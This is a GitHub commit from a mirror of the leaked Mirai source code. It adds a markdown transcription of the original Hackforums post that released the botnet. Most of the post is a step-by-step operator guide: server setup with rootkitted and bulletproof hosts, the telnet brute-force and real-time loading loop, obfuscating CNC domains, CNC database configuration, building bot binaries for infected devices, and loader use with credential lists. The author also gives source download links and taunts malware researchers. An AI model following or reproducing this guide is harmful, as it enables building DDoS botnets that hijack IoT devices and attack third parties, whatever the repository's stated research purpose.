mirror of
https://github.com/jgamblin/Mirai-Source-Code
synced 2025-05-09 10:54:13 +00:00
Transcribe post to markdown while preserving
original. I have made no attempts at fixing grammar or changing the phrasing. I _only_ modified formatting while preserving the original meaning and context. I also added links within source which are helpful when reading. Limit spacing to 80 characters for readability on the terminal. This makes it more readable on the GitHub website. supersedes #7 closes #5
This commit is contained in:
parent
9779d43964
commit
db41dc8734
240
ForumPost.md
Normal file
240
ForumPost.md
Normal file
@ -0,0 +1,240 @@
|
|||||||
|
* Original quote from: [Anna-senpai](https://hackforums.net/showthread.php?tid=5420472)
|
||||||
|
* Date posted: Fri 30 Sep 19:50:52 UTC 2016
|
||||||
|
* [See original archived post](ForumPost.txt)
|
||||||
|
|
||||||
|
# Preface
|
||||||
|
|
||||||
|
Greetz everybody,
|
||||||
|
|
||||||
|
When I first go in DDoS industry, I wasn't planning on staying in it long. I
|
||||||
|
made my money, there's lots of eyes looking at IOT now, so it's time to GTFO.
|
||||||
|
However, I know every skid and their mama, it's their wet dream to have
|
||||||
|
something besides qbot.
|
||||||
|
|
||||||
|
So today, I have an amazing release for you. With Mirai, I usually pull max 380k
|
||||||
|
bots from telnet alone. However, after the Kreb DDoS, ISPs been slowly shutting
|
||||||
|
down and cleaning up their act. Today, max pull is about 300k bots, and
|
||||||
|
dropping.
|
||||||
|
|
||||||
|
So, I am your senpai, and I will treat you real nice, my hf-chan.
|
||||||
|
|
||||||
|
And to everyone that thought they were doing anything by hitting my CNC, I had
|
||||||
|
good laughs, this bot uses domain for CNC. It takes 60 seconds for all bots to
|
||||||
|
reconnect, lol
|
||||||
|
|
||||||
|
Also, shoutout to this blog post by malwaremustdie
|
||||||
|
|
||||||
|
* http://blog.malwaremustdie.org/2016/08/mmd-0056-2016-linuxmirai-just.html
|
||||||
|
* https://web.archive.org/web/20160930230210/http://blog.malwaremustdie.org/2016/08/mmd-0056-2016-linuxmirai-just.html
|
||||||
|
<- backup in case low quality reverse engineer unixfreaxjp decides to edit his
|
||||||
|
posts lol
|
||||||
|
|
||||||
|
Had a lot of respect for you, thought you were good reverser, but you
|
||||||
|
really just completely and totally failed in reversing this binary. "We still
|
||||||
|
have better kung fu than you kiddos" don't make me laugh please, you made so
|
||||||
|
many mistakes and even confused some different binaries with my. LOL
|
||||||
|
|
||||||
|
Let me give you some slaps back -
|
||||||
|
|
||||||
|
1. port `48101` is not for back connect, it is for control to prevent multiple
|
||||||
|
instances of bot running together
|
||||||
|
2. `/dev/watchdog` and `/dev/misc` are not for "making the delay", it for
|
||||||
|
preventing system from hanging. This one is low-hanging fruit, so sad that
|
||||||
|
you are extremely dumb
|
||||||
|
3. You failed and thought `FAKE_CNC_ADDR` and `FAKE_CNC_PORT` was real CNC, lol
|
||||||
|
"And doing the backdoor to connect via HTTP on 65.222.202.53". you got
|
||||||
|
tripped up by signal flow ;) try harder skiddo
|
||||||
|
4. Your skeleton tool sucks ass, it thought the attack decoder was "sinden
|
||||||
|
style", but it does not even use a text-based protocol? CNC and bot
|
||||||
|
communicate over binary protocol
|
||||||
|
5. you say 'chroot("/") so predictable like torlus' but you don't understand,
|
||||||
|
some others kill based on cwd. It shows how out-of-the-loop you are with real
|
||||||
|
malware. Go back to skidland
|
||||||
|
|
||||||
|
5 slaps for you
|
||||||
|
|
||||||
|
Why are you writing reverse engineer tools? You cannot even correctly reverse in
|
||||||
|
the first place. Please learn some skills first before trying to impress others.
|
||||||
|
Your arrogance in declaring how you "beat me" with your dumb kung-fu statement
|
||||||
|
made me laugh so hard while eating my SO had to pat me on the back.
|
||||||
|
|
||||||
|
Just as I forever be free, you will be doomed to mediocracy forever.
|
||||||
|
|
||||||
|
|
||||||
|
# Requirements
|
||||||
|
|
||||||
|
### Bare Minimum
|
||||||
|
|
||||||
|
2 servers: 1 for CNC + mysql, 1 for scan receiver, and 1+ for loading
|
||||||
|
|
||||||
|
### Pro Setup (my setup)
|
||||||
|
|
||||||
|
2 VPS and 4 servers
|
||||||
|
|
||||||
|
* 1 VPS with extremely bulletproof host for database server
|
||||||
|
* 1 VPS, rootkitted, for scanReceiver and distributor
|
||||||
|
* 1 server for CNC (used like 2% CPU with 400k bots)
|
||||||
|
* 3x 10gbps NForce servers for loading (distributor distributes to 3 servers
|
||||||
|
equally)
|
||||||
|
|
||||||
|
|
||||||
|
# Infrastructure Overview
|
||||||
|
|
||||||
|
* To establish connection to CNC, bots resolve a domain
|
||||||
|
([`resolv.c`](mirai/bot/resolv.c)/[`resolv.h`](mirai/bot/resolv.h)) and
|
||||||
|
connect to that IP address
|
||||||
|
* Bots brute telnet using an advanced SYN scanner that is around 80x faster than
|
||||||
|
the one in qbot, and uses almost 20x less resources. When finding bruted
|
||||||
|
result, bot resolves another domain and reports it. This is chained to a
|
||||||
|
separate server to automatically load onto devices as results come in.
|
||||||
|
* Bruted results are sent by default on port 48101. The utility called
|
||||||
|
scanListen.go in tools is used to receive bruted results (I was getting around
|
||||||
|
500 bruted results per second at peak). If you build in debug mode, you should
|
||||||
|
see the utitlity scanListen binary appear in debug folder.
|
||||||
|
|
||||||
|
Mirai uses a spreading mechanism similar to self-rep, but what I call
|
||||||
|
"real-time-load". Basically, bots brute results, send it to a server listening
|
||||||
|
with `scanListen` utility, which sends the results to the loader. This loop
|
||||||
|
(`brute -> scanListen -> load -> brute`) is known as real time loading.
|
||||||
|
|
||||||
|
The loader can be configured to use multiple IP address to bypass port
|
||||||
|
exhaustion in linux (there are limited number of ports available, which means
|
||||||
|
that there is not enough variation in tuple to get more than 65k simultaneous
|
||||||
|
outbound connections - in theory, this value lot less). I would have maybe 60k -
|
||||||
|
70k simultaneous outbound connections (simultaneous loading) spread out across 5
|
||||||
|
IPs.
|
||||||
|
|
||||||
|
# Configuring Bot
|
||||||
|
|
||||||
|
Bot has several configuration options that are obfuscated in `table.c/table.h`.
|
||||||
|
In [`./mirai/bot/table.h`](mirai/bot/table.h) you can find most descriptions for
|
||||||
|
configuration options. However, in [`./mirai/bot/table.c`](mirai/bot/table.c)
|
||||||
|
there are a few options you *need* to change to get working.
|
||||||
|
|
||||||
|
* `TABLE_CNC_DOMAIN` - Domain name of CNC to connect to - DDoS avoidance very
|
||||||
|
fun with mirai, people try to hit my CNC but I update it faster than they can
|
||||||
|
find new IPs, lol. Retards :)
|
||||||
|
* `TABLE_CNC_PORT` - Port to connect to, its set to 23 already
|
||||||
|
* `TABLE_SCAN_CB_DOMAIN` - When finding bruted results, this domain it is
|
||||||
|
reported to
|
||||||
|
* `TABLE_SCAN_CB_PORT` - Port to connect to for bruted results, it is set to
|
||||||
|
`48101` already.
|
||||||
|
|
||||||
|
In [`./mirai/tools`](mirai/tools) you will find something called enc.c - You
|
||||||
|
must compile this to output things to put in the table.c file
|
||||||
|
|
||||||
|
Run this inside mirai directory
|
||||||
|
|
||||||
|
./build.sh debug telnet
|
||||||
|
|
||||||
|
You will get some errors related to cross-compilers not being there if you have
|
||||||
|
not configured them. This is ok, won't affect compiling the enc tool
|
||||||
|
|
||||||
|
Now, in the `./mirai/debug` folder you should see a compiled binary called enc.
|
||||||
|
For example, to get obfuscated string for domain name for bots to connect to,
|
||||||
|
use this:
|
||||||
|
|
||||||
|
./debug/enc string fuck.the.police.com
|
||||||
|
|
||||||
|
The output should look like this
|
||||||
|
|
||||||
|
XOR'ing 20 bytes of data...
|
||||||
|
\x44\x57\x41\x49\x0C\x56\x4A\x47\x0C\x52\x4D\x4E\x4B\x41\x47\x0C\x41\x4D\x4F\x22
|
||||||
|
|
||||||
|
To update the `TABLE_CNC_DOMAIN` value for example, replace that long hex string
|
||||||
|
with the one provided by enc tool. Also, you see `XOR'ing 20 bytes of data`.
|
||||||
|
This value must replace the last argument tas well. So for example, the table.c
|
||||||
|
line originally looks like this
|
||||||
|
|
||||||
|
add_entry(TABLE_CNC_DOMAIN, "\x41\x4C\x41\x0C\x41\x4A\x43\x4C\x45\x47\x4F\x47\x0C\x41\x4D\x4F\x22", 30); // cnc.changeme.com
|
||||||
|
|
||||||
|
Now that we know value from enc tool, we update it like this
|
||||||
|
|
||||||
|
add_entry(TABLE_CNC_DOMAIN, "\x44\x57\x41\x49\x0C\x56\x4A\x47\x0C\x52\x4D\x4E\x4B\x41\x47\x0C\x41\x4D\x4F\x22", 20); // fuck.the.police.com
|
||||||
|
|
||||||
|
Some values are strings, some are port (uint16 in network order / big endian).
|
||||||
|
|
||||||
|
# Configuring CNC
|
||||||
|
|
||||||
|
apt-get install mysql-server mysql-client
|
||||||
|
|
||||||
|
CNC requires database to work. When you install database, go into it and run
|
||||||
|
following commands: http://pastebin.com/86d0iL9g (ref:
|
||||||
|
[`db.sql`](scripts/db.sql))
|
||||||
|
|
||||||
|
This will create database for you. To add your user,
|
||||||
|
|
||||||
|
INSERT INTO users VALUES (NULL, 'anna-senpai', 'myawesomepassword', 0, 0, 0, 0, -1, 1, 30, '');
|
||||||
|
|
||||||
|
Now, go into file [`./mirai/cnc/main.go`](mirai/cnc/main.go)
|
||||||
|
|
||||||
|
Edit these values
|
||||||
|
|
||||||
|
const DatabaseAddr string = "127.0.0.1"
|
||||||
|
const DatabaseUser string = "root"
|
||||||
|
const DatabasePass string = "password"
|
||||||
|
const DatabaseTable string = "mirai"
|
||||||
|
|
||||||
|
To the information for the mysql server you just installed
|
||||||
|
|
||||||
|
|
||||||
|
# Setting Up Cross Compilers
|
||||||
|
|
||||||
|
Cross compilers are easy, follow the instructions at this link to set up. You
|
||||||
|
must restart your system or reload .bashrc file for these changes to take
|
||||||
|
effect.
|
||||||
|
|
||||||
|
http://pastebin.com/1rRCc3aD (ref:
|
||||||
|
[`cross-compile.sh`](scripts/cross-compile.sh))
|
||||||
|
|
||||||
|
# Building CNC+Bot
|
||||||
|
|
||||||
|
The CNC, bot, and related tools:
|
||||||
|
|
||||||
|
1. http://santasbigcandycane.cx/mirai.src.zip - *THESE LINKS WILL NOT LAST
|
||||||
|
FOREVER, 2 WEEKS MAX - BACK IT UP!*<br>
|
||||||
|

|
||||||
|
2. http://santasbigcandycane.cx/loader.src.zip - *THESE LINKS WILL NOT LAST
|
||||||
|
FOREVER, 2 WEEKS MAX - BACK IT UP!*
|
||||||
|
|
||||||
|
### How to build bot + CNC
|
||||||
|
|
||||||
|
In mirai folder, there is [`build.sh`](mirai/build.sh) script.
|
||||||
|
|
||||||
|
./build.sh debug telnet
|
||||||
|
|
||||||
|
Will output debug binaries of bot that will not daemonize and print out info
|
||||||
|
about if it can connect to CNC, etc, status of floods, etc. Compiles to
|
||||||
|
`./mirai/debug` folder
|
||||||
|
|
||||||
|
./build.sh release telnet
|
||||||
|
|
||||||
|
Will output production-ready binaries of bot that are extremely stripped, small
|
||||||
|
(about 60K) that should be loaded onto devices. Compiles all binaries in format:
|
||||||
|
`mirai.$ARCH` to `./mirai/release` folder
|
||||||
|
|
||||||
|
|
||||||
|
# Building Echo Loader
|
||||||
|
|
||||||
|
Loader reads telnet entries from STDIN in following format:
|
||||||
|
|
||||||
|
ip:port user:pass
|
||||||
|
|
||||||
|
It detects if there is wget or tftp, and tries to download the binary using
|
||||||
|
that. If not, it will echoload a tiny binary (about 1kb) that will suffice as
|
||||||
|
wget.
|
||||||
|
|
||||||
|
./build.sh
|
||||||
|
|
||||||
|
Will build the loader, optimized, production use, no fuss. If you have a file in
|
||||||
|
formats used for loading, you can do this
|
||||||
|
|
||||||
|
cat file.txt | ./loader
|
||||||
|
|
||||||
|
Remember to `ulimit`!
|
||||||
|
|
||||||
|
Just so it's clear, I'm not providing any kind of 1 on 1 help tutorials or shit,
|
||||||
|
too much time. All scripts and everything are included to set up working botnet
|
||||||
|
in under 1 hours. I am willing to help if you have individual questions (how
|
||||||
|
come CNC not connecting to database, I did this this this blah blah), but not
|
||||||
|
questions like "My bot not connect, fix it"
|
@ -3,7 +3,8 @@ Leaked Linux.Mirai Source Code for Research/IoT Development Purposes
|
|||||||
|
|
||||||
Uploaded for research purposes and so we can develop IoT and such.
|
Uploaded for research purposes and so we can develop IoT and such.
|
||||||
|
|
||||||
See "ForumPost.txt" for the post in which it leaks, if you want to know how it is all set up and the likes.
|
See "ForumPost.txt" or [ForumPost.md](ForumPost.md) for the post in which it
|
||||||
|
leaks, if you want to know how it is all set up and the likes.
|
||||||
|
|
||||||
## Requirements
|
## Requirements
|
||||||
* gcc
|
* gcc
|
||||||
@ -13,7 +14,10 @@ See "ForumPost.txt" for the post in which it leaks, if you want to know how it i
|
|||||||
* mysql-client
|
* mysql-client
|
||||||
|
|
||||||
## Credits
|
## Credits
|
||||||
|
|
||||||
[Anna-senpai](https://hackforums.net/showthread.php?tid=5420472)
|
[Anna-senpai](https://hackforums.net/showthread.php?tid=5420472)
|
||||||
|
|
||||||
## Disclaimer
|
## Disclaimer
|
||||||
This repository is for academic purposes, the use of this software is your responsibility.
|
|
||||||
|
This repository is for academic purposes, the use of this software is your
|
||||||
|
responsibility.
|
||||||
|
BIN
scripts/images/BVc7qJs.png
Normal file
BIN
scripts/images/BVc7qJs.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 44 KiB |
Loading…
x
Reference in New Issue
Block a user